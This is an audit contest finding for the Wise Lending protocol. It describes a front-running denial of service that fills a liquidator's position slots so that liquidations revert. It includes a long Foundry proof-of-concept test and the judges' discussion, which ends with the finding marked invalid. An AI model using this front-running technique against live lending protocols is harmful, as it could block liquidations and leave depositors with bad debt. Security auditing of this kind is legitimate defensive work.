Liquidations could be blocked by a malicious user as it could do other liquidations in his name to create positons token data on his/other users nfts.

[c4-bot-7]

Lines of code

https://github.com/code-423n4/2024-02-wise-lending/blob/79186b243d8553e66358c05497e5ccfd9488b5e2/contracts/WiseLending.sol#L1250 https://github.com/code-423n4/2024-02-wise-lending/blob/79186b243d8553e66358c05497e5ccfd9488b5e2/contracts/MainHelper.sol#L614

Vulnerability details

In the event of a rapid market downturn ( e.g USDC de-pegging/UST Luna crash etc... ) liquidations could be blocked by a sophisticated user that have access to MEV infrastructure. Function liquidatePartiallyFromTokens is not doing any checks to see if the caller of the function (msg.sender) is the owner of the nft position or it is approved to operate with it. If you are going in the case where there will not be enough tokens to pay the liquidator a position will be created for him. Currently the number of positions at this moment is limited to 8 (hardcoded value), but the protocol have stated they will support more then 8. Cominbing all this factors, the sophisticated user could frontrun the transactions that want to liquidate him and do liquidations in their name to create more positions until they have 8 positions in userTokenData and when the liquidations transaction that will liquidate the sophisticated user will take place it will revert with error TooManyTokens() as a new positions can not be added for that liquidator.

Impact

Liquidatons could be blocked for a period of time, in case of high market downturn that time is not necessarily to be very long as the protocol does not allow liquidations with a collateralPercentage bigger then 100% which can result in high accumulating of bad debt rapidly.

Proof of Concept

To run the following test use the following command. (Attention !, _maxSharePrice needs to be turned to true so you could do liquidations that will create share balances for the liquidator, with the actual code you can not do that because of an rounding bug that have been reported in other finding)

forge test -vvvv --match-test "test_finding_sofiticated_user_block_liq_frontrunning" --fork-url mainnet 

function test_finding_sofiticated_user_block_liq_frontrunning() public {
        _useBlock(NEW_BLOCK);
        _deployNewWiseLending({_mainnetFork: true});
        //For this test to work _maxSharePrice needs to be put on true in _withdrawOrAllocateSharesLiquidation ( original code--> _maxSharePrice: false), because of the bug where lending share price will drop in case of liquidating more then existing in the pool at that moment.
        //Elene initialization
        elene = vm.addr(0x13654);

        //David initialization
        david = vm.addr(0x14567);
        uint256 davidPositionId;

        //Carol initialization
        carol = vm.addr(0x17896);

        //Bob initialization
        uint256 bobPositionId;
        bob = vm.addr(0x45678);

        //Alice initialization
        uint256 alicePositionId;
        uint256 aliceBorrowSharesAfterFirstBorrow;
        alice = vm.addr(0x12345);

        {
            vm.deal(alice, 200 ether);
            vm.deal(bob, 200 ether);
            vm.deal(carol, 200 ether);
            vm.deal(david, 200 ether);
            vm.deal(elene, 200 ether);
        }
        {
            deal(USDC_ADDRESS, alice, 20000e6);
            deal(USDC_ADDRESS, carol, 10000e6);
            deal(USDT_ADDRESS, david, 1000e6);
            deal(DAI_ADDRESS, david, 1000e18);

        }
        {
            transferFromHolderToDavid();
            deal(WSTETH_ADDRESS, david, 10e6);
            deal(WSTETH_ADDRESS, bob, 1e18);
            deal(WBTC_ADDRESS, david, 1e8);
            deal(WBTC_ADDRESS, bob, 1e8);
            deal(SDAI_ADDRESS, david, 1300e18);
        }

        vm.warp(block.timestamp+100);

        (   ,
            int256 usdcEthGoodAnswer,
            ,
            ,
        ) = IPriceFeed(USDC_ETH_PRICE_FEED).latestRoundData();

        (   uint80 roundId,
            ,
            ,
            ,
        ) = IPriceFeed(USDC_USD_PRICE_FEED).latestRoundData();

        vm.mockCall(
            USDC_USD_PRICE_FEED, 
            abi.encodeWithSelector(IPriceFeed(USDC_USD_PRICE_FEED).latestRoundData.selector),
            abi.encode(roundId,usdcEthGoodAnswer,0,0,0)
        );

        vm.mockCall(
            USDC_USD_PRICE_FEED, 
            abi.encodeWithSelector(IPriceFeed(USDC_USD_PRICE_FEED).decimals.selector),
            abi.encode(18)
        );

        //Bob operations
        {
            vm.startPrank(bob);
            IERC20(WBTC_ADDRESS).approve(address(LENDING_INSTANCE), 1e8);
            IERC20(WSTETH_ADDRESS).approve(address(LENDING_INSTANCE), 1e18);
            IERC20(AEthWETH_ADDRESS).approve(address(LENDING_INSTANCE), 1e18);
            bobPositionId = POSITION_NFTS_INSTANCE.mintPosition();
            LENDING_INSTANCE.depositExactAmountETH{value: 10 ether}(bobPositionId);
            LENDING_INSTANCE.depositExactAmount(bobPositionId, WBTC_ADDRESS, 0.8e8);
            LENDING_INSTANCE.depositExactAmount(bobPositionId, WSTETH_ADDRESS, 0.9e18);
            LENDING_INSTANCE.depositExactAmount(bobPositionId, AEthWETH_ADDRESS, 1e18);
            vm.stopPrank();
        }

        //Alice operations
        {
            vm.startPrank(alice);
            IERC20(USDC_ADDRESS).approve(address(LENDING_INSTANCE), 20000e6);
            alicePositionId = POSITION_NFTS_INSTANCE.mintPosition();
            LENDING_INSTANCE.depositExactAmount(alicePositionId, USDC_ADDRESS, 20000e6);
            aliceBorrowSharesAfterFirstBorrow = LENDING_INSTANCE.borrowExactAmountETH(alicePositionId, 4.1 ether);
            vm.stopPrank();
        }

        //David Operations
        {
            vm.startPrank(david);
            davidPositionId = POSITION_NFTS_INSTANCE.mintPosition();
            vm.stopPrank();
        }
        //Set Oracles for David deposits
        {
            (   uint80 daiRoundId,
                ,
                ,
                ,
            ) = IPriceFeed(DAI_USD_PRICE_FEED).latestRoundData();

            (   uint80 usdtRoundId,
                ,
                ,
                ,
            ) = IPriceFeed(USDT_USD_PRICE_FEED).latestRoundData();

            (   ,
                int256 daiEthGoodAnswer,
                ,
                ,
            ) = IPriceFeed(DAI_ETH_PRICE_FEED).latestRoundData();

            (   ,
                int256 usdtEthGoodAnswer,
                ,
                ,
            ) = IPriceFeed(USDT_ETH_PRICE_FEED).latestRoundData();
            //DAI oracle mock
            vm.mockCall(
                DAI_USD_PRICE_FEED, 
                abi.encodeWithSelector(IPriceFeed(DAI_USD_PRICE_FEED).latestRoundData.selector),
                abi.encode(daiRoundId,daiEthGoodAnswer,0,0,0)
            );
            vm.mockCall(
                DAI_USD_PRICE_FEED, 
                abi.encodeWithSelector(IPriceFeed(DAI_USD_PRICE_FEED).decimals.selector),
                abi.encode(18)
            );
            //USDT Oracle mock
            vm.mockCall(
                USDT_USD_PRICE_FEED, 
                abi.encodeWithSelector(IPriceFeed(USDT_USD_PRICE_FEED).latestRoundData.selector),
                abi.encode(usdtRoundId,usdtEthGoodAnswer,0,0,0)
            );
            vm.mockCall(
                USDT_USD_PRICE_FEED, 
                abi.encodeWithSelector(IPriceFeed(USDT_USD_PRICE_FEED).decimals.selector),
                abi.encode(18)
            );
            //SDAI Oracle mock
            vm.mockCall(
                SDAI_PRICE_FEED, 
                abi.encodeWithSelector(IPriceFeed(SDAI_PRICE_FEED).latestRoundData.selector),
                abi.encode(daiRoundId,daiEthGoodAnswer,0,0,0)
            );
            vm.mockCall(
                SDAI_PRICE_FEED, 
                abi.encodeWithSelector(IPriceFeed(SDAI_PRICE_FEED).decimals.selector),
                abi.encode(18)
            );
        }
        uint256 davidDAIBorrowShares; 
        uint256 davidSDAIBorrowShares; 
        uint256 davidAEthUSDCBorrowShares; 
        uint256 davidAEthUSDTBorrowShares;
        uint256 davidAEthDAIBorrowShares;
        //David do deposits and borrows
        {
            vm.startPrank(david);

            //IERC20(USDT_ADDRESS).approve(address(LENDING_INSTANCE), 0);
            //IERC20(USDT_ADDRESS).approve(address(LENDING_INSTANCE), type(uint256).max);
            //LENDING_INSTANCE.depositExactAmount(davidPositionId, USDT_ADDRESS, 1000e6);
            //LENDING_INSTANCE.borrowExactAmountETH(davidPositionId, 0.34 ether);
            console.log("David deposit of DAI start here ");
            IERC20(DAI_ADDRESS).approve(address(LENDING_INSTANCE), 1000e18);
            LENDING_INSTANCE.depositExactAmount(davidPositionId, DAI_ADDRESS, 1000e18);
            davidDAIBorrowShares = LENDING_INSTANCE.borrowExactAmountETH(davidPositionId, 0.17 ether);

            console.log("David deposit of SDAI starts here ");
            IERC20(SDAI_ADDRESS).approve(address(LENDING_INSTANCE), 1000e18);
            LENDING_INSTANCE.depositExactAmount(davidPositionId, SDAI_ADDRESS, 1000e18);
            davidSDAIBorrowShares = LENDING_INSTANCE.borrowExactAmountETH(davidPositionId, 0.17 ether);

            console.log("David deposit of AEthUSDC start here");
            IERC20(AEthUSDC_ADDRESS).approve(address(LENDING_INSTANCE), 1000e6);
            LENDING_INSTANCE.depositExactAmount(davidPositionId, AEthUSDC_ADDRESS, 1000e6);
            davidAEthUSDCBorrowShares = LENDING_INSTANCE.borrowExactAmountETH(davidPositionId, 0.17 ether);

            console.log("David deposit of AEthUSDT start here");
            IERC20(AEthUSDT_ADDRESS).approve(address(LENDING_INSTANCE), 1000e6);
            LENDING_INSTANCE.depositExactAmount(davidPositionId, AEthUSDT_ADDRESS, 1000e6);
            davidAEthUSDTBorrowShares = LENDING_INSTANCE.borrowExactAmountETH(davidPositionId, 0.17 ether);

            console.log("David deposit of AEthDAI start here");
            IERC20(AEthDAI_ADDRESS).approve(address(LENDING_INSTANCE), 1000e18);
            LENDING_INSTANCE.depositExactAmount(davidPositionId, AEthDAI_ADDRESS, 1000e18);
            davidAEthDAIBorrowShares = LENDING_INSTANCE.borrowExactAmountETH(davidPositionId, 0.17 ether);

            vm.stopPrank();
        }

        {
            deal(WETH_ADDRESS, bob, 200e18);
            deal(WETH_ADDRESS, carol, 200e18);
        }

        //Set oracles for David Liquidation
        {
            (   uint80 daiRoundId,
                ,
                ,
                ,
            ) = IPriceFeed(DAI_USD_PRICE_FEED).latestRoundData();
            (   uint80 usdtRoundId,
                ,
                ,
                ,
            ) = IPriceFeed(USDT_USD_PRICE_FEED).latestRoundData();
            (   ,
                int256 daiEthGoodAnswer,
                ,
                ,
            ) = IPriceFeed(DAI_ETH_PRICE_FEED).latestRoundData();
            vm.mockCall(
                DAI_USD_PRICE_FEED, 
                abi.encodeWithSelector(IPriceFeed(DAI_USD_PRICE_FEED).latestRoundData.selector),
                abi.encode(daiRoundId,daiEthGoodAnswer/10000*7700,0,0,0)
            );
            vm.mockCall(
                USDT_USD_PRICE_FEED, 
                abi.encodeWithSelector(IPriceFeed(USDT_USD_PRICE_FEED).latestRoundData.selector),
                abi.encode(usdtRoundId,usdcEthGoodAnswer/10000*7350,0,0,0)
            );
            vm.mockCall(
                SDAI_PRICE_FEED, 
                abi.encodeWithSelector(IPriceFeed(SDAI_PRICE_FEED).latestRoundData.selector),
                abi.encode(daiRoundId,daiEthGoodAnswer/10000*6800,0,0,0)
            );
        }

        {
            vm.mockCall(
                USDC_USD_PRICE_FEED, 
                abi.encodeWithSelector(IPriceFeed(USDC_USD_PRICE_FEED).latestRoundData.selector),
                abi.encode(roundId,usdcEthGoodAnswer/10000*6700,0,0,0)
            );
        }

         //Elene deposit ETH and borrows the other tokens
        {
            vm.startPrank(elene);
            uint256 elenePositionId = POSITION_NFTS_INSTANCE.mintPosition();
            LENDING_INSTANCE.depositExactAmountETH{value: 10 ether}(elenePositionId);
            LENDING_INSTANCE.borrowExactAmount(elenePositionId, DAI_ADDRESS, 999e18);
            LENDING_INSTANCE.borrowExactAmount(elenePositionId, SDAI_ADDRESS, 999e18);
            LENDING_INSTANCE.borrowExactAmount(elenePositionId, USDC_ADDRESS, 2000e6);
            LENDING_INSTANCE.borrowExactAmount(elenePositionId, AEthUSDC_ADDRESS, 999e6);
            LENDING_INSTANCE.borrowExactAmount(elenePositionId, AEthDAI_ADDRESS, 999e18);

            vm.stopPrank();
        }

        //Carol liquidate david with bob to create positions for him
        {
            vm.startPrank(carol);

            IERC20(WETH_ADDRESS).approve(address(LENDING_INSTANCE), type(uint256).max);
            console.log("Will liquidate DAI");

            LENDING_INSTANCE.liquidatePartiallyFromTokens(
                davidPositionId,
                bobPositionId,
                WETH_ADDRESS,
                DAI_ADDRESS,
                davidDAIBorrowShares
            );

            console.log("Will liquidate AEthDAI");
            LENDING_INSTANCE.liquidatePartiallyFromTokens(
                davidPositionId,
                bobPositionId,
                WETH_ADDRESS,
                AEthDAI_ADDRESS,
                davidAEthDAIBorrowShares);

            console.log("Will liquidate SDAI");

            LENDING_INSTANCE.liquidatePartiallyFromTokens(
                davidPositionId,
                bobPositionId,
                WETH_ADDRESS,
                SDAI_ADDRESS,
                davidSDAIBorrowShares
            );

            console.log("Will liquidate AEthUSDC");

            LENDING_INSTANCE.liquidatePartiallyFromTokens(
                davidPositionId,
                bobPositionId,
                WETH_ADDRESS,
                AEthUSDC_ADDRESS,
                davidAEthUSDCBorrowShares
            );

            vm.stopPrank();
        }

        /*console.log("We try to liquidate here once");
        vm.startPrank(carol);
        IERC20(WETH_ADDRESS).approve(address(LENDING_INSTANCE), type(uint256).max);
        LENDING_INSTANCE.liquidatePartiallyFromTokens(
            alicePositionId,
            bobPositionId,
            WETH_ADDRESS,
            USDC_ADDRESS,
            aliceBorrowSharesAfterFirstBorrow
        );
        vm.stopPrank();*/

        uint256 bobPositionsLendTokenDataLength = LENDING_INSTANCE.getPositionLendingTokenLength(bobPositionId);
        console.log("Number of positions for bob after liquidations: ", bobPositionsLendTokenDataLength);
        {
            vm.mockCall(
                USDC_USD_PRICE_FEED, 
                abi.encodeWithSelector(IPriceFeed(USDC_USD_PRICE_FEED).latestRoundData.selector),
                abi.encode(roundId,usdcEthGoodAnswer/10000*8200,0,0,0)
            );
        }
        vm.startPrank(bob);
        IERC20(WETH_ADDRESS).approve(address(LENDING_INSTANCE), type(uint256).max);
        vm.expectRevert(TooManyTokens.selector);
        LENDING_INSTANCE.liquidatePartiallyFromTokens(
            alicePositionId,
            bobPositionId,
            WETH_ADDRESS,
            USDC_ADDRESS,
            aliceBorrowSharesAfterFirstBorrow
        );
        vm.stopPrank();

    }

The output of the test

   │   └─ ← TooManyTokens()
    ├─ [0] VM::stopPrank()
    │   └─ ← ()
    └─ ← ()

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.98s (1.81s CPU time)

Ran 1 test suite in 5.01s (2.98s CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

We can observed that the last liquidation transaction have been reverted with the error TooManyTokens() so the test have passed.

Tools Used

Manual Reivew

Recommended Mitigation Steps

1. As you are supporting more then 8 tokens be sure that number is corresponding with the number of tokens that a user can hold in it's data positions ( position nft.
2. Do a ownership check when a liquidation is taking place to be sure that only the owner of the nft or someone approved by it can operate over it.

Assessed type

DoS

[vm06007]

Attention !, _maxSharePrice needs to be turned to true so you could do liquidations that will create share balances for the liquidator, with the actual code you can not do that because of an rounding bug that have been reported in other finding

This finding is invalid as it tries to proof it self by suggesting the initial code submitted needs to be modified in order for this finding to work. But the code does not need to be modified, previous findings are out of scope and all fixes for rounding were already applied before code got submitted for the competition, hence no change should be made. There is also no rounding bug in the submitted code base as it rounds as expected against the user, otherwise other attacks can becomes possible again.

If you disagree then we can discuss first the "finding" you are referring to that you mark as "rounding bug" that needs to be addressed first making this finding then dependent on another "finding" valid outcome or being yet another manipulation to convince everyone there is an "issue"

[GalloDaSballo]

Worth giving a double check just in case, that said, the sponsor dispute is legitimate

[c4-pre-sort]

GalloDaSballo marked the issue as primary issue

[c4-pre-sort]

GalloDaSballo marked the issue as insufficient quality report

[vonMangoldt]

We are talking about liquidators on either eth main ( can use eden or flashbots) and on arbitrum there is no mempool. Therofr dismissed

[trust1995]

Attention !, _maxSharePrice needs to be turned to true so you could do liquidations that will create share balances for the liquidator, with the actual code you can not do that because of an rounding bug that have been reported in other finding

This finding is invalid as it tries to proof it self by suggesting the initial code submitted needs to be modified in order for this finding to work. But the code does not need to be modified, previous findings are out of scope and all fixes for rounding were already applied before code got submitted for the competition, hence no change should be made. There is also no rounding bug in the submitted code base as it rounds as expected against the user, otherwise other attacks can becomes possible again.

If you disagree then we can discuss first the "finding" you are referring to that you mark as "rounding bug" that needs to be addressed first making this finding then dependent on another "finding" valid outcome or being yet another manipulation to convince everyone there is an "issue"

The reasoning above is valid. Warden has not demonstrated why enabling maxSharePrice is likely, meaning it is invalid speculation of code.

We are talking about liquidators on either eth main ( can use eden or flashbots) and on arbitrum there is no mempool. Therofr dismissed

The reasoning above is not valid for Eth. The fact liquidators may go to private mempools is not valid assumption for reduction of severity.

[c4-judge]

trust1995 marked the issue as unsatisfactory: Invalid